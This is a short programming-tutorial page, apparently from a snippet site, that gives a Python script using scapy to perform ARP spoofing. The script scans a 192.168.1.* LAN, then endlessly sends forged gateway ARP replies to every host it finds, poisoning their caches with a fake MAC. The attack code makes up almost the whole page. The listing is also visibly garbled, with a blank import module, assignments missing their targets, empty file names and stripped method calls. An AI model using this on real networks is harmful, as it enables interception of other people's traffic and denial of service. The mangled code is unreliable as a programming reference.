SoFunction
Updated on 2024-11-12

python uses arp spoofing to forge gateways

This article example describes how python uses arp spoofing to forge a gateway. Shared for your reference. Specific implementation methods are as follows:

#coding:utf-8
'''
arp spoofing LAN pc, send spoofed gateway mac to pc with gateway arp reply
'''
from  import ARP,send,arping
import sys,re
stdout=
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
# Fake gateway mac address
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #Forge arp replies from gateway
  t=p
  =hw
  =ip
  send(t)
def get_host():
  # Get the mac address of the online host and the corresponding ip address
  hw_ip = {}
   = open('','w')
  arping(IPADDR)
   = stdout
  f = open('','r')
  info = ()
  
  del info[0]
  del info[0]
  for host in info :
    temp = (r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

I hope that what I have described in this article will help you in your Python programming.